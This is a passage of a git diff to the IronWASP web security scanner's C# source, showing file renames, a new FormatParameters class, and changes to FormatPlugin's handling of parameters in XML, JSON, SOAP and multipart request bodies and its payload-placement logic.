-// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public enum FindingSeverity - { - High, - Medium, - Low - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public enum FindingSeverity + { + High, + Medium, + Low + } +} diff --git a/IronWASP/FindingType.cs b/Iron/FindingType.cs similarity index 96% rename from IronWASP/FindingType.cs rename to Iron/FindingType.cs index 7905af2..6971728 100644 --- a/IronWASP/FindingType.cs +++ b/Iron/FindingType.cs @@ -1,31 +1,31 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public enum FindingType - { - Vulnerability, - TestLead, - Information - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public enum FindingType + { + Vulnerability, + TestLead, + Information + } +} diff --git a/IronWASP/Findings.cs b/Iron/Findings.cs similarity index 96% rename from IronWASP/Findings.cs rename to Iron/Findings.cs index 2f176de..702a88b 100644 --- a/IronWASP/Findings.cs +++ b/Iron/Findings.cs @@ -1,45 +1,45 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class Findings - { - List ResultList = new List(); - public void Add(Finding PR) - { - this.ResultList.Add(PR); - } - public void Remove(Finding PR) - { - this.ResultList.Remove(PR); - } - public List GetAll() - { - return ResultList; - } - public void Clear() - { - ResultList = new List(); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class Findings + { + List ResultList = new List(); + public void Add(Finding PR) + { + this.ResultList.Add(PR); + } + public void Remove(Finding PR) + { + this.ResultList.Remove(PR); + } + public List GetAll() + { + return ResultList; + } + public void Clear() + { + ResultList = new List(); + } + } +} diff --git a/Iron/FormatParameters.cs b/Iron/FormatParameters.cs new file mode 100644 index 0000000..ab78cf8 --- /dev/null +++ b/Iron/FormatParameters.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class FormatParameters + { + string[,] XmlParameters = null; + + public FormatParameters(string[,] _XmlParameters) + { + this.XmlParameters = _XmlParameters; + } + + public int Count + { + get + { + return this.XmlParameters.GetLength(0); + } + } + + public string GetName(int Index) + { + return this.XmlParameters[Index, 0]; + } + + public string GetValue(int Index) + { + return this.XmlParameters[Index, 1]; + } + } +} diff --git a/IronWASP/FormatPlugin.cs b/Iron/FormatPlugin.cs similarity index 73% rename from IronWASP/FormatPlugin.cs rename to Iron/FormatPlugin.cs index 76bf5b5..4dd3733 100644 --- a/IronWASP/FormatPlugin.cs +++ b/Iron/FormatPlugin.cs @@ -1,524 +1,691 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Text.RegularExpressions; -using System.Collections.Generic; -using System.Text; -using System.Xml; -using System.IO; - -namespace IronWASP -{ - public class FormatPlugin : Plugin - { - - internal static List Collection = new List(); - string RequestXml = ""; - string RequestHash = ""; - - public bool AutoDetect = false; - - public virtual bool Is(Request Request) - { - try - { - Request Req = Request.GetClone(); - string XmlString = ToXmlFromRequest(Req); - if (!Tools.IsXml(XmlString)) return false; - Request FinalReq = ToRequestFromXml(Req, XmlString); - if (Req.ToString().Equals(FinalReq.ToString())) return true; - } - catch { return false; } - return false; - } - - public virtual bool Is(Response Response) - { - try - { - Response Res = Response.GetClone(); - string XmlString = ToXmlFromResponse(Res); - if (!Tools.IsXml(XmlString)) return false; - Response FinalRes = ToResponseFromXml(Res, XmlString); - if (Res.ToString().Equals(FinalRes.ToString())) return true; - } - catch { return false; } - return false; - } - - public virtual string ToXmlFromRequest(Request Request) - { - return ToXml(Request.BodyArray); - } - - public virtual Request ToRequestFromXml(Request Request, string XmlString) - { - Request.BodyArray = ToObject(XmlString); - return Request; - } - - public virtual string ToXmlFromResponse(Response Response) - { - return ToXml(Response.BodyArray); - } - - public virtual Response ToResponseFromXml(Response Response, string XmlString) - { - Response.BodyArray = ToObject(XmlString); - return Response; - } - - public virtual string ToXml(byte[] ObjectArray) - { - return ""; - } - - public virtual byte[] ToObject(string XmlString) - { - return new byte[] { }; - } - - public int GetXmlInjectionPointsCount(Request Req) - { - this.RequestXml = this.ToXmlFromRequest(Req); - this.RequestHash = Tools.MD5(Req.ToString()); - string[,] XmlInjectionArray = XmlToArray(this.RequestXml); - return XmlInjectionArray.GetLength(0); - } - - public Request InjectInRequest(Request Req, int InjectionPoint, string Payload) - { - string CurrentRequestHash = Tools.MD5(Req.ToString()); - string XML = ""; - if(this.RequestHash.Equals(CurrentRequestHash)) - { - XML = this.RequestXml; - } - else - { - XML = this.ToXmlFromRequest(Req); - this.RequestXml = XML; - this.RequestHash = CurrentRequestHash; - } - string InjectedXml = InjectInXml(this.RequestXml, InjectionPoint, Payload); - return this.ToRequestFromXml(Req.GetClone(true), InjectedXml); - } - - public static string[,] XmlToArray(string XML) - { - bool HasOname = DoesXmlHaveOname(XML); - - List ParameterNames = new List(); - List ParameterValues = new List(); - - StringBuilder OutXml = new StringBuilder(); - List Paths = new List(); - List PropertyPaths = new List(); - StringReader XMLStringReader = new StringReader(XML.Trim()); - XmlReader Reader = XmlReader.Create(XMLStringReader); - - int ParameterCount = 0; - bool Read = true; - - bool CrlfAttributeSet = false; - - while (Read) - { - Read = Reader.Read(); - if (!Read) continue; - if (Reader.IsStartElement()) - { - CrlfAttributeSet = false; - Paths.Add(Reader.Name); - if (HasOname) - { - if (Reader.HasAttributes) - { - try - { - string OriginalName = Reader.GetAttribute("oname"); - if (OriginalName.Length == 0) - { - PropertyPaths.Add(Reader.Name); - } - else - { - PropertyPaths.Add(OriginalName); - } - } - catch { } - if (Reader.GetAttribute("crlf") != null && Reader.GetAttribute("crlf") == "1") - { - CrlfAttributeSet = true; - } - } - } - else - { - PropertyPaths.Add(Reader.Name); - } - if (Paths.Count > PropertyPaths.Count) - { - PropertyPaths.Add(""); - } - - if (Reader.IsEmptyElement) - { - ParameterCount++; - ParameterNames.Add(JoinPaths(Paths, PropertyPaths)); - ParameterValues.Add(Reader.Value); - - int C = Paths.Count; - if (C > 0) - { - Paths.RemoveAt(C - 1); - PropertyPaths.RemoveAt(C - 1); - } - } - } - else if (Reader.NodeType == XmlNodeType.Text || Reader.NodeType == XmlNodeType.CDATA) - { - ParameterCount++; - string Value = Reader.Value.Trim(); - if (CrlfAttributeSet) - { - Value = Value.Replace("\n", "\r\n");//XmlReader reads \r\n as \n - } - ParameterNames.Add(JoinPaths(Paths, PropertyPaths)); - ParameterValues.Add(Value); - } - else if (Reader.NodeType == XmlNodeType.Whitespace || Reader.NodeType == XmlNodeType.SignificantWhitespace) - { - - } - else if (Reader.NodeType == XmlNodeType.EndElement) - { - int C = Paths.Count; - if (C > 0) - { - Paths.RemoveAt(C - 1); - PropertyPaths.RemoveAt(C - 1); - } - } - } - Reader.Close(); - string[,] InjectionPoints = new string[ParameterNames.Count, 2]; - for (int i = 0; i < ParameterNames.Count; i++) - { - InjectionPoints[i, 0] = ParameterNames[i]; - InjectionPoints[i, 1] = ParameterValues[i]; - } - return InjectionPoints; - } - - static bool DoesXmlHaveOname(string Xml) - { - bool HasOname = (Xml.IndexOf("oname", StringComparison.OrdinalIgnoreCase) > -1); - - if (!HasOname) return false; - - - StringReader XMLStringReader = new StringReader(Xml.Trim()); - XmlReader Reader = XmlReader.Create(XMLStringReader); - - bool Read = true; - bool NextRead = false; - while (Read) - { - if (!NextRead) Read = Reader.Read(); - NextRead = false; - if (!Read) continue; - if (Reader.IsStartElement()) - { - if (Reader.HasAttributes) - { - try - { - Reader.GetAttribute("oname"); - return true; - } - catch { } - } - - Read = Reader.Read(); - if (Reader.NodeType != XmlNodeType.EndElement) - { - NextRead = true; - } - } - } - Reader.Close(); - - return false; - } - - public static string InjectInXml(string XML, int InjectionPosition, string Payload) - { - //StringBuilder OutXml = new StringBuilder(); - StringReader XMLStringReader = new StringReader(XML.Trim()); - XmlReader Reader = XmlReader.Create(XMLStringReader); - //XmlWriter Writer = XmlWriter.Create(OutXml); - StringWriter OutXml = new StringWriter(); - XmlTextWriter Writer = new XmlTextWriter(OutXml); - Writer.Formatting = Formatting.Indented; - int ParameterCount = 0; - bool Read = true; - //bool NextRead = false; - while (Read) - { - //if (!NextRead) Read = Reader.Read(); - //NextRead = false; - Read = Reader.Read(); - if (!Read) continue; - //while (Reader.NodeType == XmlNodeType.Whitespace || Reader.NodeType == XmlNodeType.SignificantWhitespace) - //{ - // Reader.Read(); - //} - if (Reader.IsStartElement()) - { - Writer.WriteStartElement(Reader.Name); - if(Reader.HasAttributes) Writer.WriteAttributes(Reader, false); - if (Reader.IsEmptyElement) - { - if (ParameterCount == InjectionPosition) - Writer.WriteString(Payload); - else - Writer.WriteString(Reader.Value); - ParameterCount++; - Writer.WriteEndElement(); - } - - //Read = Reader.Read(); - //while (Reader.NodeType == XmlNodeType.Whitespace || Reader.NodeType == XmlNodeType.SignificantWhitespace) - //{ - // Reader.Read(); - //} - //if (Reader.NodeType == XmlNodeType.Text || Reader.NodeType == XmlNodeType.EndElement) - //{ - // if (ParameterCount == InjectionPosition) - // Writer.WriteString(Payload); - // else - // Writer.WriteString(Reader.Value); - // ParameterCount++; - //} - //else - //{ - // NextRead = true; - //} - //if (Reader.NodeType == XmlNodeType.EndElement) - //{ - // //if (ParameterCount == InjectionPosition) - // // Writer.WriteString(Payload); - // //else - // // Writer.WriteString(""); - // //ParameterCount++; - // Writer.WriteEndElement(); - //} - } - else if (Reader.NodeType == XmlNodeType.Text) - { - if (ParameterCount == InjectionPosition) - Writer.WriteString(Payload); - else - Writer.WriteString(Reader.Value); - ParameterCount++; - } - else if (Reader.NodeType == XmlNodeType.Whitespace || Reader.NodeType == XmlNodeType.SignificantWhitespace) - { - } - else if (Reader.NodeType == XmlNodeType.EndElement) - { - Writer.WriteEndElement(); - } - //else - //{ - // if (Reader.NodeType == XmlNodeType.EndElement) - // { - // Writer.WriteEndElement(); - // } - // //else - // //{ - // // if (ParameterCount == InjectionPosition) - // // Writer.WriteString(Payload); - // // else - // // Writer.WriteString(Reader.Value); - // // ParameterCount++; - // //} - //} - } - Reader.Close(); - Writer.Close(); - OutXml.Close(); - //string OutXmlString = OutXml.ToString().Split(new string[] { "?>" }, 2, StringSplitOptions.None)[1]; - return OutXml.ToString(); - } - - private static string JoinPaths(List Paths, List PropertyPaths) - { - StringBuilder FullPath = new StringBuilder(); - for (int i=0; i < Paths.Count; i++) - { - if (PropertyPaths[i].Length > 0) - { - FullPath.Append(PropertyPaths[i]); FullPath.Append(" > "); - } - } - return FullPath.ToString().TrimEnd().TrimEnd('>').TrimEnd(); - } - - public static void Add(FormatPlugin FP) - { - if ((FP.Name.Length > 0) && !(FP.Name.Equals("All") || FP.Name.Equals("None") || FP.Name.Equals("Normal"))) - { - if (!List().Contains(FP.Name)) - { - if (FP.FileName != "Internal") - { - FP.FileName = PluginEngine.FileName; - } - Collection.Add(FP); - } - } - else - { - if (FP.Name.Length == 0) - { - IronException.Report("Invalid Format Plugin Name", "The Format Plugin's name is empty so it cannot be loaded."); - } - else - { - IronException.Report("Invalid Format Plugin Name", string.Format("The Format Plugin's name is '{0}' which is an invalid value. Set a different name.", FP.Name)); - } - } - } - - public static List List() - { - List Names = new List(); - foreach (FormatPlugin FP in Collection) - { - Names.Add(FP.Name); - } - return Names; - } - - public static FormatPlugin Get(string Name) - { - foreach (FormatPlugin FP in Collection) - { - if (FP.Name.Equals(Name)) - { - return FP; - } - } - return null; - } - - internal static void Remove(string Name) - { - int PluginIndex = 0; - for (int i = 0; i < Collection.Count; i++) - { - if (Collection[i].Name.Equals(Name)) - { - PluginIndex = i; - break; - } - } - Collection.RemoveAt(PluginIndex); - } - - public static string Get(Request Request) - { - return Get(Request, new List() {"MultiPart", "JSON", "SOAP", "XML" }); - } - - public static string Get(Request Req, List FormatsToCheckFor) - { - if (IsNormal(Req)) - { - return "Normal"; - } - else - { - foreach (string Name in FormatsToCheckFor) - { - if (Get(Name).Is(Req)) return Name; - } - } - return ""; - } - - public static string Get(Response Res) - { - if (Res.IsJson) - { - return "JSON"; - } - else if (Res.IsXml) - { - if (Get("SOAP").Is(Res)) - return "SOAP"; - else - return "XML"; - } - else - { - if (Get("MultiPart").Is(Res)) return "MultiPart"; - } - return ""; - } - - public static string Get(Response Res, List FormatsToCheckFor) - { - foreach (string Name in FormatsToCheckFor) - { - if (Get(Name).Is(Res)) return Name; - } - return ""; - } - - public static bool IsNormal(Request Req) - { - try - { - if (Req.BodyLength == 0) return true; - if (Req.Body.Count == 0) return false; - string BodyString = Req.BodyString; - string[] KVs = Req.BodyString.Split('&'); - if (KVs.Length == 0) return false; - bool EqualFound = false; - foreach (string KV in KVs) - { - if (KV.Length == 0) return false; - if (KV.Contains("=")) EqualFound = true; - string[] kv = KV.Split('='); - if (kv.Length == 0) return false; - if (!Regex.IsMatch(kv[0], @"^[A-Za-z0-9_\-\.%()]+$")) return false; - } - if (!EqualFound) return false; - } - catch - { - return true; - } - return true; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Text.RegularExpressions; +using System.Collections.Generic; +using System.Text; +using System.Xml; +using System.IO; + +namespace IronWASP +{ + public class FormatPlugin : Plugin + { + + internal static List Collection = new List(); + string RequestXml = ""; + string RequestHash = ""; + + public bool AutoDetect = false; + + public virtual bool Is(Request Request) + { + try + { + Request Req = Request.GetClone(); + string XmlString = ToXmlFromRequest(Req); + if (!Tools.IsXml(XmlString)) return false; + Request FinalReq = ToRequestFromXml(Req, XmlString); + if (Req.ToString().Equals(FinalReq.ToString())) return true; + } + catch { return false; } + return false; + } + + public virtual bool Is(Response Response) + { + try + { + Response Res = Response.GetClone(); + string XmlString = ToXmlFromResponse(Res); + if (!Tools.IsXml(XmlString)) return false; + Response FinalRes = ToResponseFromXml(Res, XmlString); + if (Res.ToString().Equals(FinalRes.ToString())) return true; + } + catch { return false; } + return false; + } + + public virtual string ToXmlFromRequest(Request Request) + { + return ToXml(Request.BodyArray); + } + + public virtual Request ToRequestFromXml(Request Request, string XmlString) + { + Request.BodyArray = ToObject(XmlString); + return Request; + } + + public virtual string ToXmlFromResponse(Response Response) + { + return ToXml(Response.BodyArray); + } + + public virtual Response ToResponseFromXml(Response Response, string XmlString) + { + Response.BodyArray = ToObject(XmlString); + return Response; + } + + public virtual string ToXml(byte[] ObjectArray) + { + return ""; + } + + public virtual byte[] ToObject(string XmlString) + { + return new byte[] { }; + } + + public int GetXmlInjectionPointsCount(Request Req) + { + this.RequestXml = this.ToXmlFromRequest(Req); + this.RequestHash = Tools.MD5(Req.ToString()); + string[,] XmlInjectionArray = XmlToArray(this.RequestXml); + return XmlInjectionArray.GetLength(0); + } + + public Request InjectInRequest(Request Req, int InjectionPoint, string Payload) + { + string CurrentRequestHash = Tools.MD5(Req.ToString()); + string XML = ""; + if(this.RequestHash.Equals(CurrentRequestHash)) + { + XML = this.RequestXml; + } + else + { + XML = this.ToXmlFromRequest(Req); + this.RequestXml = XML; + this.RequestHash = CurrentRequestHash; + } + string InjectedXml = InjectInXml(this.RequestXml, InjectionPoint, Payload); + return this.ToRequestFromXml(Req.GetClone(true), InjectedXml); + } + + public static string[,] XmlToArray(string XML) + { + bool IsOldVersion = true; + bool FirstElement = true; + + bool HasOname = DoesXmlHaveOname(XML); + + List ParameterNames = new List(); + List ParameterValues = new List(); + + StringBuilder OutXml = new StringBuilder(); + List Paths = new List(); + List PropertyPaths = new List(); + StringReader XMLStringReader = new StringReader(XML.Trim()); + XmlReader Reader = XmlReader.Create(XMLStringReader); + + int ParameterCount = 0; + bool Read = true; + + bool CrlfAttributeSet = false; + + while (Read) + { + Read = Reader.Read(); + if (!Read) continue; + if (Reader.IsStartElement()) + { + CrlfAttributeSet = false; + Paths.Add(Reader.Name); + if (HasOname) + { + if (Reader.HasAttributes) + { + if (Reader.GetAttribute("oname") != null && Reader.GetAttribute("oname").Length > 0) + { + PropertyPaths.Add(Reader.GetAttribute("oname")); + } + else + { + PropertyPaths.Add(Reader.Name); + } + if (Reader.GetAttribute("crlf") != null && Reader.GetAttribute("crlf") == "1") + { + CrlfAttributeSet = true; + } + } + } + else + { + PropertyPaths.Add(Reader.Name); + } + if (Reader.HasAttributes) + { + if (FirstElement) + { + string FPV = Reader.GetAttribute("fpv"); + if (FPV != null) + { + if (FPV == "4") IsOldVersion = false; + } + } + } + FirstElement = false; + + if (Paths.Count > PropertyPaths.Count) + { + PropertyPaths.Add(""); + } + + if (Reader.IsEmptyElement) + { + ParameterCount++; + ParameterNames.Add(JoinPaths(Paths, PropertyPaths)); + ParameterValues.Add(Reader.Value); + + int C = Paths.Count; + if (C > 0) + { + Paths.RemoveAt(C - 1); + PropertyPaths.RemoveAt(C - 1); + } + } + } + else if (Reader.NodeType == XmlNodeType.Text || Reader.NodeType == XmlNodeType.CDATA) + { + ParameterCount++; + string Value = Reader.Value.Trim(); + if (CrlfAttributeSet) + { + Value = Value.Replace("\n", "\r\n");//XmlReader reads \r\n as \n + } + ParameterNames.Add(JoinPaths(Paths, PropertyPaths)); + ParameterValues.Add(Value); + } + else if (Reader.NodeType == XmlNodeType.Whitespace || Reader.NodeType == XmlNodeType.SignificantWhitespace) + { + + } + else if (Reader.NodeType == XmlNodeType.EndElement) + { + int C = Paths.Count; + if (C > 0) + { + Paths.RemoveAt(C - 1); + PropertyPaths.RemoveAt(C - 1); + } + } + } + Reader.Close(); + string[,] InjectionPoints = new string[ParameterNames.Count, 2]; + for (int i = 0; i < ParameterNames.Count; i++) + { + InjectionPoints[i, 0] = ParameterNames[i]; + if (IsOldVersion) + { + InjectionPoints[i, 1] = Tools.Base64Encode(ParameterValues[i]); + } + else + { + InjectionPoints[i, 1] = ParameterValues[i]; + } + } + return InjectionPoints; + } + + static bool DoesXmlHaveOname(string Xml) + { + bool HasOname = (Xml.IndexOf("oname", StringComparison.OrdinalIgnoreCase) > -1); + + if (!HasOname) return false; + + + StringReader XMLStringReader = new StringReader(Xml.Trim()); + XmlReader Reader = XmlReader.Create(XMLStringReader); + + bool Read = true; + bool NextRead = false; + while (Read) + { + if (!NextRead) Read = Reader.Read(); + NextRead = false; + if (!Read) continue; + if (Reader.IsStartElement()) + { + if (Reader.HasAttributes) + { + try + { + Reader.GetAttribute("oname"); + return true; + } + catch { } + } + + Read = Reader.Read(); + if (Reader.NodeType != XmlNodeType.EndElement) + { + NextRead = true; + } + } + } + Reader.Close(); + + return false; + } + + public static string InjectInXml(string XML, int InjectionPosition, string Payload) + { + bool IsOldVersion = true; + //StringBuilder OutXml = new StringBuilder(); + StringReader XMLStringReader = new StringReader(XML.Trim()); + XmlReader Reader = XmlReader.Create(XMLStringReader); + //XmlWriter Writer = XmlWriter.Create(OutXml); + StringWriter OutXml = new StringWriter(); + XmlTextWriter Writer = new XmlTextWriter(OutXml); + Writer.Formatting = Formatting.Indented; + int ParameterCount = 0; + bool Read = true; + //bool NextRead = false; + bool FirstElement = true; + while (Read) + { + //if (!NextRead) Read = Reader.Read(); + //NextRead = false; + Read = Reader.Read(); + if (!Read) continue; + //while (Reader.NodeType == XmlNodeType.Whitespace || Reader.NodeType == XmlNodeType.SignificantWhitespace) + //{ + // Reader.Read(); + //} + if (Reader.IsStartElement()) + { + Writer.WriteStartElement(Reader.Name); + if (Reader.HasAttributes) + { + Writer.WriteAttributes(Reader, false); + if (FirstElement) + { + string FPV = Reader.GetAttribute("fpv"); + if (FPV != null) + { + if (FPV == "4") IsOldVersion = false; + } + } + } + FirstElement = false; + if (Reader.IsEmptyElement) + { + if (ParameterCount == InjectionPosition) + { + if (IsOldVersion) + { + Writer.WriteString(Tools.XmlSafe(Payload)); + } + else + { + Writer.WriteString(Tools.Base64Encode(Payload)); + } + } + else + { + Writer.WriteString(Reader.Value); + } + ParameterCount++; + Writer.WriteEndElement(); + } + + //Read = Reader.Read(); + //while (Reader.NodeType == XmlNodeType.Whitespace || Reader.NodeType == XmlNodeType.SignificantWhitespace) + //{ + // Reader.Read(); + //} + //if (Reader.NodeType == XmlNodeType.Text || Reader.NodeType == XmlNodeType.EndElement) + //{ + // if (ParameterCount == InjectionPosition) + // Writer.WriteString(Payload); + // else + // Writer.WriteString(Reader.Value); + // ParameterCount++; + //} + //else + //{ + // NextRead = true; + //} + //if (Reader.NodeType == XmlNodeType.EndElement) + //{ + // //if (ParameterCount == InjectionPosition) + // // Writer.WriteString(Payload); + // //else + // // Writer.WriteString(""); + // //ParameterCount++; + // Writer.WriteEndElement(); + //} + } + else if (Reader.NodeType == XmlNodeType.Text) + { + if (ParameterCount == InjectionPosition) + { + if (IsOldVersion) + { + Writer.WriteString(Tools.XmlSafe(Payload)); + } + else + { + Writer.WriteString(Tools.Base64Encode(Payload)); + } + } + else + { + Writer.WriteString(Reader.Value); + } + ParameterCount++; + } + else if (Reader.NodeType == XmlNodeType.Whitespace || Reader.NodeType == XmlNodeType.SignificantWhitespace) + { + } + else if (Reader.NodeType == XmlNodeType.EndElement) + { + Writer.WriteEndElement(); + } + //else + //{ + // if (Reader.NodeType == XmlNodeType.EndElement) + // { + // Writer.WriteEndElement(); + // } + // //else + // //{ + // // if (ParameterCount == InjectionPosition) + // // Writer.WriteString(Payload); + // // else + // // Writer.WriteString(Reader.Value); + // // ParameterCount++; + // //} + //} + } + Reader.Close(); + Writer.Close(); + OutXml.Close(); + //string OutXmlString = OutXml.ToString().Split(new string[] { "?>" }, 2, StringSplitOptions.None)[1]; + return OutXml.ToString(); + } + + private static string JoinPaths(List Paths, List PropertyPaths) + { + StringBuilder FullPath = new StringBuilder(); + for (int i=0; i < Paths.Count; i++) + { + if (PropertyPaths[i].Length > 0) + { + FullPath.Append(PropertyPaths[i]); FullPath.Append(" > "); + } + } + return FullPath.ToString().TrimEnd().TrimEnd('>').TrimEnd(); + } + + public static void Add(FormatPlugin FP) + { + if ((FP.Name.Length > 0) && !(FP.Name.Equals("All") || FP.Name.Equals("None") || FP.Name.Equals("Normal"))) + { + if (!List().Contains(FP.Name)) + { + if (FP.FileName != "Internal") + { + FP.FileName = PluginEngine.FileName; + } + Collection.Add(FP); + } + } + else + { + if (FP.Name.Length == 0) + { + IronException.Report("Invalid Format Plugin Name", "The Format Plugin's name is empty so it cannot be loaded."); + } + else + { + IronException.Report("Invalid Format Plugin Name", string.Format("The Format Plugin's name is '{0}' which is an invalid value. Set a different name.", FP.Name)); + } + } + } + + public static List List() + { + List Names = new List(); + foreach (FormatPlugin FP in Collection) + { + Names.Add(FP.Name); + } + return Names; + } + + public static FormatPlugin Get(BodyFormatType BodyType) + { + switch(BodyType) + { + case(BodyFormatType.Json): + return Get("JSON"); + case (BodyFormatType.Xml): + return Get("XML"); + case (BodyFormatType.Multipart): + return Get("MultiPart"); + case (BodyFormatType.Soap): + return Get("SOAP"); + } + return null; + } + + public static FormatPlugin Get(string Name) + { + foreach (FormatPlugin FP in Collection) + { + if (FP.Name.Equals(Name)) + { + return FP; + } + } + return null; + } + + internal static void Remove(string Name) + { + int PluginIndex = 0; + for (int i = 0; i < Collection.Count; i++) + { + if (Collection[i].Name.Equals(Name)) + { + PluginIndex = i; + break; + } + } + Collection.RemoveAt(PluginIndex); + } + + public virtual void WriteValue(XmlWriter XW, string Value) + { + if (Value.Contains("\r\n")) + { + XW.WriteAttributeString("crlf", "1"); + } + XW.WriteValue(Tools.Base64Encode(Value)); + } + + public virtual void WriteValue(XmlWriter XW, byte[] Value) + { + XW.WriteValue(Tools.Base64EncodeByteArray(Value)); + } + + public static BodyFormatType GetFormatType(Request Req) + { + if (Tools.IsSoap(Req.BodyString)) + { + return BodyFormatType.Soap; + } + else if (Tools.IsXml(Req.BodyString)) + { + return BodyFormatType.Xml; + } + else if (Tools.IsJson(Req.BodyString)) + { + return BodyFormatType.Json; + } + else if (FormatPlugin.Get(BodyFormatType.Multipart).Is(Req)) + { + return BodyFormatType.Multipart; + } + else if (Tools.IsBinary(Req.BodyArray)) + { + return BodyFormatType.UnknownBinary; + } + else if (IsNormal(Req)) + { + return BodyFormatType.UrlFormEncoded; + } + else + { + return BodyFormatType.Unknown; + } + } + + public static string Get(Request Request) + { + return Get(Request, new List() {"MultiPart", "JSON", "SOAP", "XML" }); + } + + public static string Get(Request Req, List FormatsToCheckFor) + { + if (IsNormal(Req)) + { + return "Normal"; + } + else + { + foreach (string Name in FormatsToCheckFor) + { + if (Get(Name).Is(Req)) return Name; + } + } + return ""; + } + + public static string Get(Response Res) + { + if (Res.IsJson) + { + return "JSON"; + } + else if (Res.IsXml) + { + if (Get("SOAP").Is(Res)) + return "SOAP"; + else + return "XML"; + } + else + { + if (Get("MultiPart").Is(Res)) return "MultiPart"; + } + return ""; + } + + public static string Get(Response Res, List FormatsToCheckFor) + { + foreach (string Name in FormatsToCheckFor) + { + if (Get(Name).Is(Res)) return Name; + } + return ""; + } + + public static bool IsNormal(Request Req) + { + try + { + if (Req.BodyLength == 0) return true; + if (Req.Body.Count == 0) return false; + string BodyString = Req.BodyString; + string[] KVs = Req.BodyString.Split('&'); + if (KVs.Length == 0) return false; + bool EqualFound = false; + foreach (string KV in KVs) + { + if (KV.Length == 0) return false; + if (KV.Contains("=")) EqualFound = true; + string[] kv = KV.Split('='); + if (kv.Length == 0) return false; + if (!Regex.IsMatch(kv[0], @"^[A-Za-z0-9_\-\.%()]+$")) return false; + } + if (!EqualFound) return false; + } + catch + { + return true; + } + return true; + } + + public static FormatPlugin JSON() + { + return Get("JSON"); + } + public static FormatPlugin XML() + { + return Get("XML"); + } + public static FormatPlugin MutliPart() + { + return Get("MultiPart"); + } + public static FormatPlugin SOAP() + { + return Get("SOAP"); + } + + public static FormatParameters GetXmlParameters(Request Req) + { + return new FormatParameters(XmlToArray(FormatPlugin.XML().ToXmlFromRequest(Req))); + } + public static FormatParameters GetJsonParameters(Request Req) + { + return new FormatParameters(XmlToArray(FormatPlugin.JSON().ToXmlFromRequest(Req))); + } + public static FormatParameters GetSoapParameters(Request Req) + { + return new FormatParameters(XmlToArray(FormatPlugin.SOAP().ToXmlFromRequest(Req))); + } + public static FormatParameters GetMultipartParameters(Request Req) + { + return new FormatParameters(XmlToArray(FormatPlugin.MutliPart().ToXmlFromRequest(Req))); + } + + public static FormatParameters GetXmlParameters(Response 